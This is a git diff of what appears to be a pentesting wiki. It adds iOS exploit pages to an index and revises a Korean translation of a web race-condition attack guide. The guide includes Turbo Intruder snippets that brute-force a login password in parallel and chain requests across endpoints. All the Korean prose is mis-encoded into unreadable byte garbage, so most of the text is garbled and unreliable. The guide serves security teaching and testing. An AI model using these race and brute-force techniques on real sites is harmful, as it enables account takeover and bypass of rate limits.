diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index abe382dcf..be4d4275a 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -837,9 +837,14 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
-- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+ - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
+ - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
+ - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
+ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
+ - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
+
# ๐ค AI
- [AI Security](AI/README.md)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 022f83f42..2e609c6d6 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> ์ด ๊ธฐ์ ์ ๋ํ ๊น์ ์ดํด๋ฅผ ์ป์ผ๋ ค๋ฉด [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)์์ ์๋ณธ ๋ณด๊ณ ์๋ฅผ ํ์ธํ์ธ์.
+> ์ด ๊ธฐ์ ์ ๊น์ด ์ดํดํ๋ ค๋ฉด ์๋ฌธ ๋ฆฌํฌํธ [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)๋ฅผ ํ์ธํ์ธ์.
-## Race Condition ๊ณต๊ฒฉ ๊ฐํ
+## Race Condition ๊ณต๊ฒฉ ๊ณ ๋ํ
-Race condition์ ์ด์ฉํ๋ ๋ฐ ์์ด ์ฃผ์ ์ฅ์ ๋ฌผ์ ์ฌ๋ฌ ์์ฒญ์ด ๋์์ ์ฒ๋ฆฌ๋๋๋ก ๋ณด์ฅํ๋ ๊ฒ์
๋๋ค. **์ฒ๋ฆฌ ์๊ฐ์ ์ฐจ์ด๊ฐ ๋งค์ฐ ์ ์ด์ผ ํ๋ฉฐ, ์ด์์ ์ผ๋ก๋ 1ms ๋ฏธ๋ง์ด์ด์ผ ํฉ๋๋ค.**
+์ฃผ์ ์ฅ์ ๋ฌผ์ ์ฌ๋ฌ ์์ฒญ์ด ๊ฑฐ์ ๋์์ ์ฒ๋ฆฌ๋๋๋ก ๋ง๋๋ ๊ฒ์
๋๋ค. ์ฒ๋ฆฌ ์๊ฐ ์ฐจ์ด๊ฐ ๋งค์ฐ ์์์ผ ํ๋ฉฐโ์ด์์ ์ผ๋ก๋ 1ms ๋ฏธ๋ง์ด์ด์ผ ํฉ๋๋ค.
-์ฌ๊ธฐ ์์ฒญ ๋๊ธฐํ๋ฅผ ์ํ ๋ช ๊ฐ์ง ๊ธฐ์ ์ ์ฐพ์ ์ ์์ต๋๋ค:
+์์ฒญ ๋๊ธฐํ๋ฅผ ์ํ ๋ช ๊ฐ์ง ๊ธฐ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
-#### HTTP/2 ๋จ์ผ ํจํท ๊ณต๊ฒฉ vs. HTTP/1.1 ๋ง์ง๋ง ๋ฐ์ดํธ ๋๊ธฐํ
+#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
-- **HTTP/2**: ๋จ์ผ TCP ์ฐ๊ฒฐ์ ํตํด ๋ ๊ฐ์ ์์ฒญ์ ์ ์กํ ์ ์์ด ๋คํธ์ํฌ ์งํฐ์ ์ํฅ์ ์ค์
๋๋ค. ๊ทธ๋ฌ๋ ์๋ฒ ์ธก์ ๋ณ๋์ฑ์ผ๋ก ์ธํด ๋ ๊ฐ์ ์์ฒญ๋ง์ผ๋ก๋ ์ผ๊ด๋ race condition exploit์ ์ถฉ๋ถํ์ง ์์ ์ ์์ต๋๋ค.
-- **HTTP/1.1 '๋ง์ง๋ง ๋ฐ์ดํธ ๋๊ธฐํ'**: 20-30๊ฐ์ ์์ฒญ์ ๋๋ถ๋ถ์ ๋ฏธ๋ฆฌ ์ ์กํ๊ณ , ์์ ์กฐ๊ฐ์ ๋ณด๋ฅํ ํ ํจ๊ป ์ ์กํ์ฌ ์๋ฒ์ ๋์์ ๋์ฐฉํ๋๋ก ํฉ๋๋ค.
+- **HTTP/2**: ๋จ์ผ TCP ์ฐ๊ฒฐ๋ก ๋ ์์ฒญ์ ์ ์กํ ์ ์์ด ๋คํธ์ํฌ ์งํฐ์ ์ํฅ์ ์ค์
๋๋ค. ๊ทธ๋ฌ๋ ์๋ฒ ์ธก ๋ณ๋ ๋๋ฌธ์ ๋ ์์ฒญ๋ง์ผ๋ก๋ ์ผ๊ด๋ race condition ์ต์คํ๋ก์์ ๋ณด์ฅํ์ง ๋ชปํ ์ ์์ต๋๋ค.
+- **HTTP/1.1 'Last-Byte Sync'**: 20~30๊ฐ์ ์์ฒญ์ ๋๋ถ๋ถ์ ๋ฏธ๋ฆฌ ์ ์กํ๊ณ ์์ ์กฐ๊ฐ์ ๋ณด๋ฅํ ๋ค์, ๊ทธ ์กฐ๊ฐ๋ค์ ํจ๊ป ์ ์กํด ์๋ฒ์ ๋์์ ๋์ฐฉํ๋๋ก ๋ง๋๋ ๋ฐฉ์์
๋๋ค.
-**๋ง์ง๋ง ๋ฐ์ดํธ ๋๊ธฐํ๋ฅผ ์ํ ์ค๋น**๋ ๋ค์์ ํฌํจํฉ๋๋ค:
+**Preparation for Last-Byte Sync** involves:
-1. ์คํธ๋ฆผ์ ์ข
๋ฃํ์ง ์๊ณ ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ ์ ์ธํ ํค๋์ ๋ณธ๋ฌธ ๋ฐ์ดํฐ๋ฅผ ์ ์กํฉ๋๋ค.
-2. ์ด๊ธฐ ์ ์ก ํ 100ms ๋์ ์ผ์ ์ ์งํฉ๋๋ค.
-3. ์ต์ข
ํ๋ ์์ ๋ฐฐ์นํ๊ธฐ ์ํด Nagle์ ์๊ณ ๋ฆฌ์ฆ์ ํ์ฉํ๊ธฐ ์ํด TCP_NODELAY๋ฅผ ๋นํ์ฑํํฉ๋๋ค.
-4. ์ฐ๊ฒฐ์ ์ค๋นํ๊ธฐ ์ํด ํ์ ๋ณด๋
๋๋ค.
+1. ์คํธ๋ฆผ์ ์ข
๋ฃํ์ง ์๊ณ ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ ์ ์ธํ ํค๋์ ๋ฐ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์กํฉ๋๋ค.
+2. ์ด๊ธฐ ์ ์ก ํ 100ms ๋์ ๋๊ธฐํฉ๋๋ค.
+3. ์ต์ข
ํ๋ ์ ๋ฐฐ์น๋ฅผ ์ํด TCP_NODELAY๋ฅผ ๋นํ์ฑํํ์ฌ Nagle's algorithm์ ํ์ฉํฉ๋๋ค.
+4. ์ฐ๊ฒฐ์ ์๋ฐ์
ํ๊ธฐ ์ํด ping์ ์ํํฉ๋๋ค.
-๋ณด๋ฅ๋ ํ๋ ์์ ์ดํ์ ์ ์กํ๋ฉด ๋จ์ผ ํจํท์ผ๋ก ๋์ฐฉํด์ผ ํ๋ฉฐ, Wireshark๋ฅผ ํตํด ํ์ธํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ผ๋ฐ์ ์ผ๋ก RC ๊ณต๊ฒฉ์ ๊ด๋ จ๋์ง ์๋ ์ ์ ํ์ผ์๋ ์ ์ฉ๋์ง ์์ต๋๋ค.
+๋ณด๋ฅํ ํ๋ ์์ ์ดํ์ ์ ์กํ๋ฉด ๋จ์ผ ํจํท์ผ๋ก ๋์ฐฉํ๋ ๊ฒ์ Wireshark๋ก ํ์ธํ ์ ์์ด์ผ ํฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ผ๋ฐ์ ์ผ๋ก RC ๊ณต๊ฒฉ์ ์ฌ์ฉ๋์ง ์๋ static files์๋ ์ ์ฉ๋์ง ์์ต๋๋ค.
-### ์๋ฒ ์ํคํ
์ฒ์ ์ ์ํ๊ธฐ
+### ์๋ฒ ์ํคํ
์ฒ์ ๋ง๊ฒ ์กฐ์
-๋์์ ์ํคํ
์ฒ๋ฅผ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ํ๋ก ํธ์๋ ์๋ฒ๋ ์์ฒญ์ ๋ค๋ฅด๊ฒ ๋ผ์ฐํ
ํ ์ ์์ด ํ์ด๋ฐ์ ์ํฅ์ ๋ฏธ์น ์ ์์ต๋๋ค. ๋ฌด์๋ฏธํ ์์ฒญ์ ํตํด ์๋ฒ ์ธก ์ฐ๊ฒฐ์ ๋ฏธ๋ฆฌ ์ค๋นํ๋ฉด ์์ฒญ ํ์ด๋ฐ์ ์ ์ํํ ์ ์์ต๋๋ค.
+๋์ ์ํคํ
์ฒ๋ฅผ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ํ๋ก ํธ์๋ ์๋ฒ๋ ์์ฒญ์ ๋ค๋ฅด๊ฒ ๋ผ์ฐํ
ํ ์ ์์ด ํ์ด๋ฐ์ ์ํฅ์ ์ค ์ ์์ต๋๋ค. ์ค์ํ์ง ์์ ์์ฒญ์ผ๋ก ์ฌ์ ์๋ฒ ์ธก ์ฐ๊ฒฐ ์๋ฐ์
์ ์ํํ๋ฉด ์์ฒญ ํ์ด๋ฐ์ ์ ๊ทํํ ์ ์์ต๋๋ค.
#### ์ธ์
๊ธฐ๋ฐ ์ ๊ธ ์ฒ๋ฆฌ
-PHP์ ์ธ์
ํธ๋ค๋ฌ์ ๊ฐ์ ํ๋ ์์ํฌ๋ ์ธ์
๋ณ๋ก ์์ฒญ์ ์ง๋ ฌํํ์ฌ ์ทจ์ฝ์ ์ ์จ๊ธธ ์ ์์ต๋๋ค. ๊ฐ ์์ฒญ์ ๋ํด ๋ค๋ฅธ ์ธ์
ํ ํฐ์ ์ฌ์ฉํ๋ฉด ์ด ๋ฌธ์ ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
+PHP์ session handler์ ๊ฐ์ ํ๋ ์์ํฌ๋ ์ธ์
๋ณ๋ก ์์ฒญ์ ์ง๋ ฌํํ์ฌ ์ทจ์ฝ์ ์ ๊ฐ๋ฆด ์ ์์ต๋๋ค. ๊ฐ ์์ฒญ์ ๋ํด ์๋ก ๋ค๋ฅธ session ํ ํฐ์ ์ฌ์ฉํ๋ฉด ์ด ๋ฌธ์ ๋ฅผ ํํผํ ์ ์์ต๋๋ค.
-#### ์๋ ๋๋ ์์ ์ ํ ๊ทน๋ณต
+#### Rate ๋๋ ์์ ์ ํ ๊ทน๋ณต
-์ฐ๊ฒฐ ์ค๋น๊ฐ ํจ๊ณผ์ ์ด์ง ์์ ๊ฒฝ์ฐ, ๋๋ฏธ ์์ฒญ์ ํ์๋ฅผ ํตํด ์น ์๋ฒ์ ์๋ ๋๋ ์์ ์ ํ ์ง์ฐ์ ์๋์ ์ผ๋ก ์ ๋ฐํ์ฌ race condition์ ์ ๋ฆฌํ ์๋ฒ ์ธก ์ง์ฐ์ ์ ๋ํจ์ผ๋ก์จ ๋จ์ผ ํจํท ๊ณต๊ฒฉ์ ์ฉ์ดํ๊ฒ ํ ์ ์์ต๋๋ค.
+์ฐ๊ฒฐ ์๋ฐ์
์ด ํจ๊ณผ์ ์ด์ง ์๋ค๋ฉด, ๋๋ฏธ ์์ฒญ์ ๋๋์ผ๋ก ๋ณด๋ด ์น ์๋ฒ์ rate ๋๋ ์์ ์ ํ ์ง์ฐ์ ์๋์ ์ผ๋ก ์ ๋ฐํ๋ฉด ์๋ฒ ์ธก ์ง์ฐ์ด ์๊ฒจ single-packet attack์ ์ ๋ฆฌํด์ง ์ ์์ต๋๋ค.
## ๊ณต๊ฒฉ ์์
-- **Tubo Intruder - HTTP2 ๋จ์ผ ํจํท ๊ณต๊ฒฉ (1 ์๋ํฌ์ธํธ)**: ์์ฒญ์ **Turbo intruder**์ ์ ์กํ ์ ์์ต๋๋ค (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), ์์ฒญ์์ **`%s`**์ ๋ํด ๊ฐ์ ๋ก ๊ณต๊ฒฉํ ๊ฐ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. ์: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` ๊ทธ๋ฆฌ๊ณ ๋๋กญ๋ค์ด์์ **`examples/race-single-packer-attack.py`**๋ฅผ ์ ํํฉ๋๋ค:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: ์์ฒญ์ **Turbo intruder**๋ก ๋ณด๋ผ ์ ์์ต๋๋ค (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`). ์์ฒญ์์ ๋ธ๋ฃจํธํฌ์คํ ๊ฐ์ธ **`%s`**๋ฅผ `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`์ฒ๋ผ ๋ณ๊ฒฝํ ๋ค์ ๋๋กญ๋ค์ด์์ **`examples/race-single-packer-attack.py`**๋ฅผ ์ ํํ์ธ์:
-**๋ค๋ฅธ ๊ฐ์ ์ ์กํ ** ๊ฒฝ์ฐ, ํด๋ฆฝ๋ณด๋์์ ๋จ์ด ๋ชฉ๋ก์ ์ฌ์ฉํ๋ ์ด ์ฝ๋๋ก ์์ ํ ์ ์์ต๋๋ค:
+๊ฐ์ **๋ค๋ฅด๊ฒ ์ ์กํ๋ ค๋ ๊ฒฝ์ฐ**, ํด๋ฆฝ๋ณด๋์์ ์๋๋ฆฌ์คํธ๋ฅผ ์ฌ์ฉํ๋ ๋ค์ ์ฝ๋๋ก ์์ ํ ์ ์์ต๋๋ค:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
-> ์น์ด HTTP2๋ฅผ ์ง์ํ์ง ์๋ ๊ฒฝ์ฐ(์ค์ง HTTP1.1๋ง ์ง์) `Engine.THREADED` ๋๋ `Engine.BURP`๋ฅผ ์ฌ์ฉํ๊ณ `Engine.BURP2`๋ ์ฌ์ฉํ์ง ๋ง์ญ์์ค.
+> ์น์ด HTTP2๋ฅผ ์ง์ํ์ง ์๊ณ (์ค์ง HTTP1.1๋ง ์ง์ํ๋ ๊ฒฝ์ฐ) `Engine.BURP2` ๋์ `Engine.THREADED` ๋๋ `Engine.BURP`๋ฅผ ์ฌ์ฉํ์ธ์.
-- **Tubo Intruder - HTTP2 ๋จ์ผ ํจํท ๊ณต๊ฒฉ (์ฌ๋ฌ ์๋ํฌ์ธํธ)**: RCE๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด 1๊ฐ์ ์๋ํฌ์ธํธ์ ์์ฒญ์ ๋ณด๋ด๊ณ ๊ทธ ํ ์ฌ๋ฌ ์๋ํฌ์ธํธ์ ์์ฒญ์ ๋ณด๋ด์ผ ํ๋ ๊ฒฝ์ฐ, `race-single-packet-attack.py` ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ณ๊ฒฝํ ์ ์์ต๋๋ค:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: ๋ง์ฝ RCE๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด 1๊ฐ์ ์๋ํฌ์ธํธ์ ์์ฒญ์ ๋ณด๋ด๊ณ ์ด์ด์ ๋ค๋ฅธ ์ฌ๋ฌ ์๋ํฌ์ธํธ์ ์์ฒญ์ ๋ณด๋ด์ผ ํ๋ ๊ฒฝ์ฐ, `race-single-packet-attack.py` ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ณ๊ฒฝํ ์ ์์ต๋๋ค:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
-- Burp Suite์ ์๋ก์ด '**Send group in parallel**' ์ต์
์ ํตํด **Repeater**์์๋ ์ฌ์ฉํ ์ ์์ต๋๋ค.
-- **limit-overrun**์ ๊ฒฝ์ฐ, ๊ทธ๋ฃน์ **๊ฐ์ ์์ฒญ์ 50๋ฒ** ์ถ๊ฐํ ์ ์์ต๋๋ค.
-- **connection warming**์ ์ํด, **๊ทธ๋ฃน**์ **์์** ๋ถ๋ถ์ ์น ์๋ฒ์ ๋น์ ์ ๋ถ๋ถ์ ๋ํ **์์ฒญ**์ **์ถ๊ฐ**ํ ์ ์์ต๋๋ค.
-- **์ง์ฐ**์ ์ํด **ํ๋์ ์์ฒญ๊ณผ ๋ค๋ฅธ ์์ฒญ** ์ฌ์ด์ ์ฒ๋ฆฌ **๊ณผ์ **์ 2๊ฐ์ ํ์ ์ํ ๋จ๊ณ๋ก ๋๋์ด, ๋ ์์ฒญ ์ฌ์ด์ **์ถ๊ฐ ์์ฒญ์** **์ถ๊ฐ**ํ ์ ์์ต๋๋ค.
-- **multi-endpoint** RC์ ๊ฒฝ์ฐ, **์จ๊ฒจ์ง ์ํ**๋ก ๊ฐ๋ **์์ฒญ**์ ๋จผ์ ๋ณด๋ด๊ณ , ๊ทธ ๋ค์ **์จ๊ฒจ์ง ์ํ๋ฅผ ์
์ฉํ๋ 50๊ฐ์ ์์ฒญ**์ ๋ณด๋ผ ์ ์์ต๋๋ค.
+- ๋ํ Burp Suite์ **Repeater**์์ ์๋ก์ด '**Send group in parallel**' ์ต์
์ ํตํด ์ฌ์ฉํ ์ ์์ต๋๋ค.
+- **limit-overrun**์ ๊ฒฝ์ฐ ๊ทธ๋ฃน์ **๊ฐ์ request๋ฅผ 50๋ฒ** ์ถ๊ฐํ๋ฉด ๋ฉ๋๋ค.
+- **connection warming**์ ์ํด ๊ทธ๋ฃน์ **์์ ๋ถ๋ถ**์ ์น ์๋ฒ์ ๋น์ ์ ๋ถ๋ถ์ ๋ํ ๋ช ๊ฐ์ **requests**๋ฅผ **์ถ๊ฐ**ํ ์ ์์ต๋๋ค.
+- 2 substates ๋จ๊ณ์์ ํ **request**๋ฅผ ์ฒ๋ฆฌํ ๋ค์ ๋ค๋ฅธ **request**๋ฅผ ์ฒ๋ฆฌํ๋ ๊ณผ์ ์ฌ์ด๋ฅผ **์ง์ฐ**์ํค๋ ค๋ฉด, ๋ **request** ์ฌ์ด์ ์ถ๊ฐ **requests**๋ฅผ ๋ฃ์ ์ ์์ต๋๋ค.
+- **multi-endpoint** RC์ ๊ฒฝ์ฐ, **hidden state**๋ก ๊ฐ๋ **request**๋ฅผ ๋จผ์ ๋ณด๋ด๊ณ ๊ทธ ์งํ์ **50 requests**๋ฅผ ๋ณด๋ด์ **hidden state**๋ฅผ ์
์ฉํ ์ ์์ต๋๋ค.
-- **์๋ํ๋ ํ์ด์ฌ ์คํฌ๋ฆฝํธ**: ์ด ์คํฌ๋ฆฝํธ์ ๋ชฉํ๋ ์ฌ์ฉ์์ ์ด๋ฉ์ผ์ ๋ณ๊ฒฝํ๋ฉด์ ์๋ก์ด ์ด๋ฉ์ผ์ ํ์ธ ํ ํฐ์ด ๋ง์ง๋ง ์ด๋ฉ์ผ๋ก ๋์ฐฉํ ๋๊น์ง ์ง์์ ์ผ๋ก ํ์ธํ๋ ๊ฒ์
๋๋ค(์ด๋ ์ฝ๋์์ ์ด๋ฉ์ผ์ ์์ ํ ์ ์๋ RC๊ฐ ๋ฐ๊ฒฌ๋์์ง๋ง ํ์ธ์ด ์ด์ ์ด๋ฉ์ผ๋ก ์ ์ก๋๋๋ก ์ด๋ฉ์ผ์ ๋ํ๋ด๋ ๋ณ์๊ฐ ์ด๋ฏธ ์ฒซ ๋ฒ์งธ ์ด๋ฉ์ผ๋ก ์ฑ์์ ธ ์์๊ธฐ ๋๋ฌธ์
๋๋ค).\
-"objetivo"๋ผ๋ ๋จ์ด๊ฐ ์์ ๋ ์ด๋ฉ์ผ์์ ๋ฐ๊ฒฌ๋๋ฉด ๋ณ๊ฒฝ๋ ์ด๋ฉ์ผ์ ํ์ธ ํ ํฐ์ ์์ ํ์์ ์ ์ ์์ผ๋ฉฐ ๊ณต๊ฒฉ์ ์ข
๋ฃํฉ๋๋ค.
+- **Automated python script**: ์ด ์คํฌ๋ฆฝํธ์ ๋ชฉํ๋ ์ฌ์ฉ์์ ์ด๋ฉ์ผ์ ๋ณ๊ฒฝํ๋ฉด์ ์๋ก์ด ์ด๋ฉ์ผ์ ๊ฒ์ฆ ํ ํฐ์ด ๋ง์ง๋ง ์ด๋ฉ์ผ๋ก ๋์ฐฉํ ๋๊น์ง ์ง์์ ์ผ๋ก ํ์ธํ๋ ๊ฒ์
๋๋ค (์ฝ๋ ์์์ ์ด๋ฉ์ผ์ ์์ ํ ์๋ ์์ง๋ง ๊ฒ์ฆ์ด ์ด์ ์ด๋ฉ์ผ๋ก ์ ์ก๋๋ RC๊ฐ ๊ด์ฐฐ๋์๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ์ด๋ ์ด๋ฉ์ผ์ ๊ฐ๋ฆฌํค๋ ๋ณ์๊ฐ ์ด๋ฏธ ์ฒซ ๋ฒ์งธ ์ด๋ฉ์ผ๋ก ์ฑ์์ ธ ์์๊ธฐ ๋๋ฌธ์
๋๋ค).\
+์์ ๋ ์ด๋ฉ์ผ์์ "objetivo"๋ผ๋ ๋จ์ด๊ฐ ๋ฐ๊ฒฌ๋๋ฉด ๋ณ๊ฒฝ๋ ์ด๋ฉ์ผ์ ๊ฒ์ฆ ํ ํฐ์ ๋ฐ์ ๊ฒ์ผ๋ก ํ๋จํ๊ณ ๊ณต๊ฒฉ์ ์ข
๋ฃํฉ๋๋ค.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@@ -217,21 +217,21 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
-### Improving Single Packet Attack
+### Single Packet Attack ๊ฐ์
-์๋ ์ฐ๊ตฌ์์๋ ์ด ๊ณต๊ฒฉ์ด 1,500 ๋ฐ์ดํธ์ ํ๊ณ๋ฅผ ๊ฐ์ง๊ณ ์๋ค๊ณ ์ค๋ช
ํฉ๋๋ค. ๊ทธ๋ฌ๋ [**์ด ๊ฒ์๋ฌผ**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)์์๋ IP ๋ ์ด์ด ๋ถํ ์ ์ฌ์ฉํ์ฌ ๋จ์ผ ํจํท ๊ณต๊ฒฉ์ 1,500 ๋ฐ์ดํธ ์ ํ์ **TCP์ 65,535 B ์๋์ฐ ์ ํ์ผ๋ก ํ์ฅํ๋ ๋ฐฉ๋ฒ**์ด ์ค๋ช
๋์์ต๋๋ค(๋จ์ผ ํจํท์ ์ฌ๋ฌ IP ํจํท์ผ๋ก ๋๋๊ณ ์๋ก ๋ค๋ฅธ ์์๋ก ์ ์กํ์ฌ ๋ชจ๋ ์กฐ๊ฐ์ด ์๋ฒ์ ๋๋ฌํ ๋๊น์ง ํจํท ์ฌ์กฐ๋ฆฝ์ ๋ฐฉ์งํจ). ์ด ๊ธฐ์ ์ ํตํด ์ฐ๊ตฌ์๋ ์ฝ 166ms ๋ง์ 10,000๊ฐ์ ์์ฒญ์ ๋ณด๋ผ ์ ์์์ต๋๋ค.
+์๋ ์ฐ๊ตฌ์์๋ ์ด ๊ณต๊ฒฉ์ด 1,500 bytes์ ์ ํ์ด ์๋ค๊ณ ์ค๋ช
ํฉ๋๋ค. ํ์ง๋ง [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)์์๋ IP layer fragmentation์ ์ฌ์ฉํด single packet attack์ 1,500-byte ์ ํ์ TCP์ **65,535 B window limitation**๊น์ง ํ์ฅํ๋ ๋ฐฉ๋ฒ(๋จ์ผ ํจํท์ ์ฌ๋ฌ IP ํจํท์ผ๋ก ๋ถํ ํ๊ณ ์๋ก ๋ค๋ฅธ ์์๋ก ์ ์กํ์ฌ ๋ชจ๋ ํ๋๊ทธ๋จผํธ๊ฐ ์๋ฒ์ ๋๋ฌํ ๋๊น์ง ์ฌ์กฐ๋ฆฝ์ ๋ฐฉ์ง)์ด ์ค๋ช
๋์ด ์์ต๋๋ค. ์ด ๊ธฐ๋ฒ์ ํตํด ์ฐ๊ตฌ์๋ ์ฝ 166ms ๋ง์ 10,000๊ฐ์ ์์ฒญ์ ์ ์กํ ์ ์์์ต๋๋ค.
-์ด ๊ฐ์ ์ด ์๋ฐฑ/์์ฒ ๊ฐ์ ํจํท์ด ๋์์ ๋์ฐฉํด์ผ ํ๋ RC์์ ๊ณต๊ฒฉ์ ๋ ์ ๋ขฐํ ์ ์๊ฒ ๋ง๋ค์ง๋ง, ์ผ๋ถ ์ํํธ์จ์ด ์ ํ์ด ์์ ์ ์์ต๋๋ค. Apache, Nginx ๋ฐ Go์ ๊ฐ์ ์ผ๋ถ ์ธ๊ธฐ ์๋ HTTP ์๋ฒ๋ ๊ฐ๊ฐ 100, 128 ๋ฐ 250์ผ๋ก ์ค์ ๋ ์๊ฒฉํ `SETTINGS_MAX_CONCURRENT_STREAMS` ์ค์ ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ๊ทธ๋ฌ๋ NodeJS ๋ฐ nghttp2์ ๊ฐ์ ๋ค๋ฅธ ์๋ฒ๋ ์ด๋ฅผ ๋ฌด์ ํ์ผ๋ก ์ค์ ํ๊ณ ์์ต๋๋ค.\
-์ด๋ ๊ธฐ๋ณธ์ ์ผ๋ก Apache๊ฐ ๋จ์ผ TCP ์ฐ๊ฒฐ์์ 100๊ฐ์ HTTP ์ฐ๊ฒฐ๋ง ๊ณ ๋ คํ๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค(์ด RC ๊ณต๊ฒฉ์ ์ ํํจ).
+์ด ๊ฐ์ ์ผ๋ก ์๋ฐฑ/์์ฒ ๊ฐ์ ํจํท์ด ๋์์ ๋์ฐฉํด์ผ ํ๋ RC ๊ณต๊ฒฉ์ ์ ๋ขฐ์ฑ์ด ๋์์ง์ง๋ง, ์ํํธ์จ์ด์ ํ๊ณ๋ ์์ ์ ์์ต๋๋ค. Apache, Nginx and Go ๊ฐ์ ์ผ๋ถ ์ธ๊ธฐ ์๋ HTTP ์๋ฒ๋ `SETTINGS_MAX_CONCURRENT_STREAMS`๋ฅผ ๊ฐ๊ฐ 100, 128, 250์ผ๋ก ์๊ฒฉํ๊ฒ ์ค์ ํฉ๋๋ค. ๋ฐ๋ฉด NodeJS์ nghttp2 ๋ฑ์ ์ ํ์ด ์์ต๋๋ค.
+์ด๊ฒ์ ๊ธฐ๋ณธ์ ์ผ๋ก Apache๊ฐ ๋จ์ผ TCP ์ฐ๊ฒฐ์์ 100๊ฐ์ HTTP ์ฐ๊ฒฐ๋ง ๊ณ ๋ คํ๋ค๋ ์๋ฏธ์ด๋ฉฐ(์ด RC ๊ณต๊ฒฉ์ ์ ํํจ) ๊ฒฐ๊ตญ ๊ณต๊ฒฉ์ ํจ๊ณผ๋ฅผ ๋จ์ด๋จ๋ฆด ์ ์์ต๋๋ค.
-์ด ๊ธฐ์ ์ ์ฌ์ฉํ๋ ๋ช ๊ฐ์ง ์๋ ๋ ํฌ์งํ ๋ฆฌ [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)์์ ์ฐพ์ ์ ์์ต๋๋ค.
+์ด ๊ธฐ๋ฒ์ ์ฌ์ฉํ ์์ ๋ ๋ ํฌ [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)์์ ํ์ธํ ์ ์์ต๋๋ค.
## Raw BF
-์ด์ ์ฐ๊ตฌ ์ด์ ์ RC๋ฅผ ์ ๋ฐํ๊ธฐ ์ํด ํจํท์ ๊ฐ๋ฅํ ํ ๋น ๋ฅด๊ฒ ์ ์กํ๋ ค๊ณ ์๋ํ ๋ช ๊ฐ์ง ํ์ด๋ก๋๊ฐ ์์์ต๋๋ค.
+์ด์ ์ฐ๊ตฌ ์ด์ ์๋ RC๋ฅผ ์ ๋ฐํ๊ธฐ ์ํด ํจํท์ ๊ฐ๋ฅํ ํ ๋น ๋ฅด๊ฒ ์ ์กํ๋ ค๊ณ ์๋ํ ๋ช ๊ฐ์ง ํ์ด๋ก๋๊ฐ ์ฌ์ฉ๋์์ต๋๋ค.
-- **Repeater:** ์ด์ ์น์
์ ์๋ฅผ ํ์ธํ์ธ์.
